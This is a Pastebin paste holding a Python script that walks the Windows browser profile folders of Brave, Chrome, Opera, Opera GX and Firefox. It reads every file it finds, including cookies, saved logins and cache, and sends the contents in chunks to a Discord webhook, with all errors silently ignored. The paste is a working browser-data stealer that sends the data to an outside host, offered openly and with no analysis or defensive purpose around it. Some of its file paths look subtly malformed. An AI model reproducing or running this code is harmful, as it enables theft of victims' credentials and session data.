Advertisement
johnfikennedy

Untitled

May 25th, 2024
633
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.42 KB | Cybersecurity | 0 0
  1. import os
  2. import requests
  3. import time
  4. username = os.getlogin()
  5.  
  6. brave = fr'C:\\Users\\{username}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default'
  7. google = fr'C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default'
  8. opera1 = fr'C:\\Users\\{username}\\AppData\\Local\\Opera Software\\Opera Stable\\Default'
  9. opera2 = fr'C:\\Users\\{username}\\AppData\\Local\\Opera Software\\Opera GX Stable\\Default'
  10. mozilla = fr'C:\\Users\\{username}\\AppData\\Local\\Mozilla\\Firefox\\Profiles'
  11. webhook_url = 'https://discord.com/api/webhooks/1243971377405628527/urwebhook'
  12. def send_discord_webhook(webhook_url, message):
  13.     MAX_MESSAGE_LENGTH = 2000
  14.     num_segments = len(message) // MAX_MESSAGE_LENGTH + 1
  15.  
  16.     for i in range(num_segments):
  17.         time.sleep(1/49) # 50 messages per second https://support-dev.discord.com/hc/en-us/articles/6223003921559-My-Bot-Is-Being-Rate-Limited
  18.  
  19.         start_index = i * MAX_MESSAGE_LENGTH
  20.         end_index = (i + 1) * MAX_MESSAGE_LENGTH
  21.         segment = message[start_index:end_index]
  22.  
  23.         payload = {'content': segment}
  24.         headers = {'Content-Type': 'application/json'}
  25.         response = requests.post(webhook_url, json=payload, headers=headers)
  26.  
  27.         if response.status_code != 204:
  28.             print(f"Failed to send segment {i+1} of the message.")
  29.         else:
  30.             print(f"Segment {i+1} of the message sent successfully.")
  31. def read_large_file(file_path, chunk_size=1024):
  32.     with open(file_path, 'r', encoding='utf-8') as file:
  33.         while True:
  34.             chunk = file.read(chunk_size)
  35.             if not chunk:
  36.                 break
  37.             yield chunk
  38.  
  39. def read_files_in_directory(directory, blacklist=[]):
  40.     # Check if the directory exists
  41.     if not os.path.exists(directory):
  42.         return
  43.    
  44.     # Iterate over each file in the directory
  45.     for filename in os.listdir(directory):
  46.         file_path = os.path.join(directory, filename)
  47.         # Check if the path is a file
  48.         allow = True
  49.         for keyword in blacklist:
  50.             if keyword in file_path:
  51.                 allow = False
  52.         if allow:
  53.             if os.path.isfile(file_path):
  54.                 # Check file size
  55.                 file_size = os.path.getsize(file_path)
  56.                 if file_size > 100 * 1024 * 1024:  # If file size exceeds 100MB, split into segments
  57.                     for chunk in read_large_file(file_path):
  58.                         send_discord_webhook(webhook_url, chunk)
  59.                 else:
  60.                     # Open the file and read its contents
  61.                     try:
  62.                         with open(file_path, 'r', encoding='utf-8') as file:
  63.                             contents = file.read()
  64.                             # Check if the contents are empty
  65.                             if contents.strip():  # If contents are not empty
  66.                                 send_discord_webhook(webhook_url, contents)
  67.                             else:  # If contents are empty, try a different encoding
  68.                                 try:
  69.                                     with open(file_path, 'r', encoding='latin-1') as file:
  70.                                         contents = file.read()
  71.                                         send_discord_webhook(webhook_url, contents)
  72.                                 except Exception as e:
  73.                                     pass
  74.                     except UnicodeDecodeError:
  75.  
  76.                         try:
  77.                             with open(file_path, 'r', encoding='latin-1') as file:
  78.                                 contents = file.read()
  79.                                 send_discord_webhook(webhook_url, contents)
  80.                         except Exception as e:
  81.                             pass
  82.                     except Exception as e:
  83.                         pass
  84. # Brave
  85. try:
  86.     read_files_in_directory(brave, ['Favicon', 'History', 'publisher_info_db', 'Rewards.log', 'Shortcuts'])
  87. except:
  88.     pass
  89.    
  90. # Google
  91. try:
  92.     read_files_in_directory(google)
  93. except:
  94.     pass
  95.  
  96. # Opera
  97. try:
  98.     read_files_in_directory(opera1)
  99. except:
  100.     pass
  101.  
  102. try:
  103.     read_files_in_directory(opera2)
  104. except:
  105.     pass
  106. # Mozilla
  107. try:
  108.     sub_folders = [name for name in os.listdir(mozilla) if os.path.isdir(os.path.join(mozilla, name))]
  109.     for sub_folder in sub_folders:
  110.         read_files_in_directory(f'{mozilla}{sub_folder}\cache2\entries')
  111. except:
  112.     pass
  113.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement